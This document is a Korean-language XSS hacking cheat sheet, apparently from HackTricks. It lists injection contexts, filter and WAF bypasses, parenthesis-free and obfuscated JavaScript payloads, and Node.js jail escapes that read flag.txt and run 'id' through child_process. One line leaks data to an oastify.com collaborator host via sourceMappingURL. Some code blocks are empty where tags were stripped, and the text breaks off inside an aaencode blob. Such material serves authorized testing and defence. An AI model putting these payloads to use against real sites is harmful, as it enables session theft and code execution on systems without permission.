# XSS (Cross Site Scripting)
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_). {% embed url="https://www.stmcyber.com/careers" %} ## 방법론 1. **제어할 수 있는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)이 HTML에 **반영**되거나 **JS** 코드에서 **사용**되는지 확인합니다. 2. 반영/사용되는 **컨텍스트**를 찾습니다. 3. **반영**된 경우 1. 사용할 수 있는 **기호**를 확인하고, 그에 따라 페이로드를 준비합니다: 1. **원시 HTML**에서: 1. 새 HTML 태그를 만들 수 있습니까? 2. `javascript:` 프로토콜을 지원하는 이벤트 또는 속성을 사용할 수 있습니까? 3. 보호 기능을 우회할 수 있습니까? 4. HTML 콘텐츠가 클라이언트 측 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 삽입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다. 5. HTML 태그에서: 1. 원시 HTML 컨텍스트로 이동할 수 있습니까? 2. JS 코드를 실행하기 위해 새 이벤트/속성을 만들 수 있습니까? 3. 갇힌 속성이 JS 실행을 지원합니까? 4. 보호 기능을 우회할 수 있습니까? 3. **JavaScript 코드** 내부에서: 1. ``** 태그 사이에 반영됩니다: * **``** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 내부에 있더라도 ``를 삽입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 구문 분석**한 다음 콘텐츠를 구문 분석하기 때문에 삽입된 `` 태그가 HTML 코드 내에 있는 것을 인식하지 않기 때문에 작동합니다. * 반영이 **JS 문자열 내부**에 있고 마지막 트릭이 작동하지 않는 경우 문자열을 **탈출**하고 코드를 **실행**하고 JS 코드를 **재구성**해야 합니다(오류가 있으면 실행되지 않을 것입니다: * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * 템플릿 리터럴 내부에 반영되는 경우 `${ ... }` 구문을 사용하여 JS 표현식을 **포함**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` `` * **유니코드 인코딩**을 사용하여 **유효한 javascript 코드**를 작성할 수 있습니다: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### 자바스크립트 호이스팅 자바스크립트 호이스팅은 **사용된 후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 가리킵니다. 이를 통해 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.**\ **자세한 정보는 다음 페이지를 확인하세요:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### 자바스크립트 함수 여러 웹 페이지는 **실행할 함수의 이름을 매개변수로 받는** 엔드포인트를 가지고 있습니다. 일반적으로 볼 수 있는 예시는 `?callback=callbackFunc`와 같습니다. 사용자가 직접 제공한 값이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정**하여 콘솔에서 다음과 같은 오류를 확인하는 것입니다: ![](<../../.gitbook/assets/image (651) (2).png>) 취약하다면, 값으로 **`?callback=alert(1)`**을 보내는 것만으로 **경고를 트리거**할 수 있을 수 있습니다. 그러나 이러한 엔드포인트는 보통 이러한 콘텐츠를 **검증하여 문자, 숫자, 점 및 밑줄만 허용**할 수 있도록 합니다 (**`[\w\._]`**). 그러나 그 제한이 있더라도 여전히 일부 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 DOM의 **모든 요소에 액세스**할 수 있기 때문입니다: ![](<../../.gitbook/assets/image (662).png>) 이를 위한 유용한 함수 몇 가지: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` 당신은 직접 **Javascript 함수를 트리거**해볼 수도 있습니다: `obj.sales.delOrders`. 그러나 보통 지정된 함수를 실행하는 엔드포인트는 DOM이 그다지 흥미로운 없는 엔드포인트일 것이며, **동일 출처의 다른 페이지**는 더 많은 작업을 수행할 **더 흥미로운 DOM**을 가지고 있을 것입니다. 따라서, **이 취약점을 다른 DOM에서 악용**하기 위해 **동일 출처 방법 실행 (SOME)** 공격이 개발되었습니다: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM **공격자가 제어하는 데이터**를 **안전하게** 사용하는 **JS 코드**가 있습니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universal XSS** 이러한 종류의 XSS는 **어디서든** 발견될 수 있습니다. 이것들은 웹 애플리케이션의 클라이언트 공격뿐만 아니라 **어떤** **컨텍스트**에서도 의존하지 않습니다. 이러한 종류의 **임의의 JavaScript 실행**은 심지어 **RCE**를 얻거나, 클라이언트 및 서버에서 **임의의 파일을 읽는** 등으로 악용될 수 있습니다.\ 일부 **예시**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## WAF 우회 인코딩 이미지 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) ## 원시 HTML 내부 삽입 당신의 입력이 **HTML 페이지 내에 반영**되거나 이 문맥에서 HTML 코드를 이스케이프하고 삽입할 수 있는 경우, **첫 번째** 해야 할 일은 `<`를 악용하여 새 태그를 만들 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**하고 HTML이 인코딩되었는지 또는 삭제되었는지 또는 변경 없이 **반영**되는지 확인해보세요. **마지막 경우에만 이 케이스를 악용할 수 있을 것입니다**.\ 이 경우에는 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다: ```html ``` 하지만, 태그/속성 블랙/화이트리스트가 사용 중이라면, **생성할 수 있는 태그를 무차별 대입(brute-force)**해야 합니다.\ **허용된 태그를 찾은 후**, 발견한 유효한 태그 내에서 **속성/이벤트를 무차별 대입(brute-force)**하여 어떻게 공격할 수 있는지 확인해야 합니다. ### 태그/이벤트 무차별 대입 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 이동하여 _**Copy tags to clipboard**_를 클릭합니다. 그런 다음, Burp Intruder를 사용하여 모든 태그를 보내고 WAF가 악성으로 감지하지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 무차별 대입(brute-force)**할 수 있습니다 (동일한 웹 페이지에서 _**Copy events to clipboard**_를 클릭하고 이전과 동일한 절차를 따릅니다). ### 사용자 정의 태그 유효한 HTML 태그를 찾지 못했다면, **사용자 정의 태그를 생성**하고 `onfocus` 속성을 사용하여 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 `#`로 끝내어 페이지가 **해당 객체에 초점을 맞추고** 코드를 **실행**하도록해야 합니다: ``` /?search=#x ``` ### 블랙리스트 우회 만약 어떤 종류의 블랙리스트가 사용 중이라면 몇 가지 어리석은 트릭으로 우회해 볼 수 있습니다: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` **URLencode + HTMLencode**을 **어떤 순서로든 사용**하여 **페이로드**를 인코딩하려고 하면 **작동하지 않을 수 있음**을 유의하십시오. 그러나 **페이로드 내에서 둘을 혼합**할 수 있습니다. `javascript:`와 함께 **Hex** 및 **Octal 인코딩 사용** `iframe`의 `src` 속성 내에서 **Hex** 및 **Octal 인코딩**을 사용하여 **JS를 실행하는 HTML 태그를 선언**할 수 있습니다: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### 역 탭 네빙 ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### "사용할 수 없는 태그"에서의 XSS (숨겨진 입력, 링크, 캐노니컬, 메타) [**여기**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **에서 숨겨진 입력을 악용하는 것이 가능해졌습니다:** ```html
Newsletter popup
``` [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **피해자**를 **설득**하여 **키 조합**을 누르도록 유도할 수 있다면, **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있습니다. Firefox Windows/Linux에서는 키 조합이 **ALT+SHIFT+X**이며, OS X에서는 **CTRL+ALT+X**입니다. 다른 키를 access key 속성에 사용하여 다른 키 조합을 지정할 수 있습니다. 다음은 벡터입니다: ```markup ``` **XSS 페이로드는 다음과 같을 것입니다: `" accesskey="x" onclick="alert(1)" x="`** ### 블랙리스트 우회 이 섹션에서 이미 다양한 인코딩을 사용한 여러 트릭이 노출되었습니다. 다음 위치에서 사용할 수 있는 곳을 배우러 **돌아가세요:** * **HTML 인코딩 (HTML 태그)** * **유니코드 인코딩 (유효한 JS 코드가 될 수 있음):** `\u0061lert(1)` * **URL 인코딩** * **16진수 및 8진수 인코딩** * **데이터 인코딩** **HTML 태그 및 속성 우회** 이전 섹션의 [블랙리스트 우회](./#blacklist-bypasses)를 읽으세요. **JavaScript 코드 우회** 다음 섹션의 [자바스크립트 블랙리스트 우회 기술](./#javascript-bypass-blacklists-techniques)를 읽으세요. ### CSS-Gadgets 웹의 매우 작은 부분에서 XSS를 발견했다면 (아마도 푸터에 있는 onmouseover 요소가 있는 작은 링크), 해당 요소가 차지하는 공간을 수정하여 링크가 실행될 확률을 최대화할 수 있습니다. 예를 들어, 다음과 같이 요소에 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` 그러나 WAF가 스타일 속성을 필터링하는 경우 CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어 다음과 같은 것을 찾았다면 > .test {display:block; color: blue; width: 100%\} 그리고 > \#someid {top: 0; font-family: Tahoma;} 이제 링크를 수정하고 다음 형식으로 가져올 수 있습니다 > \ 이 요령은 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)에서 가져온 것입니다. ## JavaScript 코드 내부에 삽입 이 경우 **입력**은 `.js` 파일이나 `` 태그 사이 또는 JS 코드를 실행할 수 있는 HTML 이벤트 사이 또는 `javascript:` 프로토콜을 허용하는 속성 사이의 JS 코드 내에 **반영**될 것입니다. ### \` 내에 삽입된 경우 **\ ``` 이 예제에서는 싱글 따옴표를 **조차 닫지 않았음을 주목**하십시오. 이는 **HTML 파싱이 브라우저에 의해 먼저 수행**되기 때문인데, 이는 스크립트 블록을 포함한 페이지 요소를 식별하는 과정을 포함합니다. 중첩된 스크립트를 이해하고 실행하기 위한 JavaScript의 파싱은 그 후에 수행됩니다. ### JS 코드 내부 `<>`가 살균되고 있다면 입력이 **위치한 곳에서 문자열을 이스케이프**하고 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**한데, 오류가 있으면 JS 코드가 실행되지 않을 수 있습니다. ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### 템플릿 리터럴 \`\` **문자열**을 구성하기 위해 JS는 작은 따옴표와 큰 따옴표 외에도 **역따옴표** **\` \`\`** 를 허용합니다. 이를 **템플릿 리터럴**이라고 하며 `${ ... }` 구문을 사용하여 **내장된 JS 표현식**을 실행할 수 있습니다.\ 따라서, 입력이 **역따옴표**를 사용하는 JS 문자열 내에 **반사**된 것을 발견하면 `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다: 다음을 사용하여 **악용**할 수 있습니다: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### 인코딩된 코드 실행 ```markup ``` **주석 내부의 자바스크립트** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **괄호 없이 JavaScript** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **임의 함수 (alert) 호출** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **DOM 취약점** **공격자가 제어하는 안전하지 않은 데이터**인 `location.href`와 같은 **JS 코드**가 있습니다. 공격자는 이를 악의적인 JS 코드를 실행하기 위해 남용할 수 있습니다.\ **[DOM 취약점에 대한 설명이 확장되어 이 페이지로 이동되었습니다]**: {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} 거기에서는 **DOM 취약점이 무엇이며, 어떻게 유발되며, 어떻게 악용하는지에 대한 자세한 설명**을 찾을 수 있습니다.\ 또한, **언급된 게시물의 끝에서** [**DOM Clobbering 공격에 대한 설명**](dom-xss.md#dom-clobbering)을 찾을 수 있습니다. ## 다른 우회 방법 ### 정규화된 유니코드 **반사된 값**이 서버(또는 클라이언트 측)에서 **유니코드 정규화**되는지 확인하고 이 기능을 악용하여 보호장치를 우회할 수 있습니다. [**여기에서 예제를 찾을 수 있습니다**](../unicode-injection/#xss-cross-site-scripting). ### PHP FILTER\_VALIDATE\_EMAIL 플래그 우회 ```javascript ">"@x.y ``` ### 루비 온 레일즈 우회 **RoR 대량 할당**으로 인해 따옴표가 HTML에 삽입되고 그런 다음 따옴표 제한이 우회되어 태그 내에 추가 필드 (onfocus)를 추가할 수 있습니다.\ 예시 폼 ([이 보고서에서](https://hackerone.com/reports/709336) 가져옴), 페이로드를 보내면: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` 다음과 같이 "Key","Value" 쌍이 에코됩니다: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` ### 특별한 조합 그럼, onfocus 속성이 삽입되고 XSS가 발생합니다. ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### 302 응답에서 헤더 주입을 통한 XSS 만약 **302 Redirect 응답에서 헤더를 주입**할 수 있다면, **브라우저가 임의의 JavaScript를 실행하도록** 시도할 수 있습니다. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순히 크로스 사이트 스크립팅 페이로드만으로는 쓸모가 없습니다. [**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이것**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)을 통해 Location 헤더 내에서 여러 프로토콜을 테스트하고, 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있는지 확인할 수 있습니다.\ 과거 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`. ### 문자, 숫자 및 점만 허용 만약 **콜백**이 **실행**할 자바스크립트를 해당 문자로 제한할 수 있다면, [**이 게시물의 이 섹션**](./#javascript-function)을 읽어서 이 동작을 악용하는 방법을 찾을 수 있습니다. ### 유효한 ` ``` 다음은: * **module** (기본값, 설명할 것이 없음) * [**webbundle**](https://web.dev/web-bundles/): 웹 번들은 여러 데이터(HTML, CSS, JS...)를 **`.wbn`** 파일로 함께 패키징할 수 있는 기능입니다. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** import 구문을 개선할 수 있게 합니다. ```html ``` 이 동작은 [**이 설명서**](https://github.com/zwade/yaca/tree/master/solution)에서 사용되었으며 eval로 라이브러리를 다시 매핑하여 악용하여 XSS를 유발할 수 있습니다. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 사전 렌더링으로 인해 발생하는 일부 문제를 해결하기 위한 것입니다. 다음과 같이 작동합니다: ```html ``` ### XSS를 위한 웹 콘텐츠 유형 ([**여기**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)에서) 다음 콘텐츠 유형은 모든 브라우저에서 XSS를 실행할 수 있습니다: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? 목록에 없지만 CTF에서 본 것 같음) * application/rss+xml (off) * application/atom+xml (off) 다른 브라우저에서는 다른 **`Content-Types`**를 사용하여 임의의 JS를 실행할 수 있습니다. 확인: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml 콘텐츠 유형 페이지가 text/xml 콘텐츠 유형을 반환하는 경우 네임스페이스를 지정하고 임의의 JS를 실행할 수 있습니다: ```xml hello ``` ### 특수 대체 패턴 **`"some {{template}} data".replace("{{template}}", )`**와 같은 것이 사용될 때, 공격자는 [**특수 문자열 대체**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)을 사용하여 일부 보호를 우회하려고 시도할 수 있습니다: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` 예를 들어, [**이 writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 이를 사용하여 스크립트 내의 JSON 문자열을 **이스케이프**하고 임의의 코드를 실행했습니다. ### Chrome 캐시를 통한 XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### XS Jails 탈출 사용할 수 있는 문자 집합이 제한적인 경우, XSJail 문제에 대한 다른 유효한 솔루션을 확인하세요: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` 만약 실행되기 전에 모든 것이 정의되지 않았다면 (예: [**이 writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)에서와 같이), 임의의 신뢰되지 않는 코드 실행을 악용하기 위해 "아무것도 없는" 유용한 객체를 생성하는 것이 가능합니다: * import()를 사용하여 ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * `require`에 간접적으로 접근하기 [이에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에서 다음과 같이 함수 내부에 래핑됩니다: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` 따라서 해당 모듈에서 **다른 함수를 호출**할 수 있다면, 해당 함수에서 `arguments.callee.caller.arguments[1]`을 사용하여 **`require`**에 액세스할 수 있습니다: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} 이전 예제와 유사하게, **에러 핸들러를 사용하여** 모듈의 **래퍼**에 액세스하고 **`require`** 함수를 얻을 수 있습니다: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### 난독화 및 고급 우회 * **한 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * 더 정교한 JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ 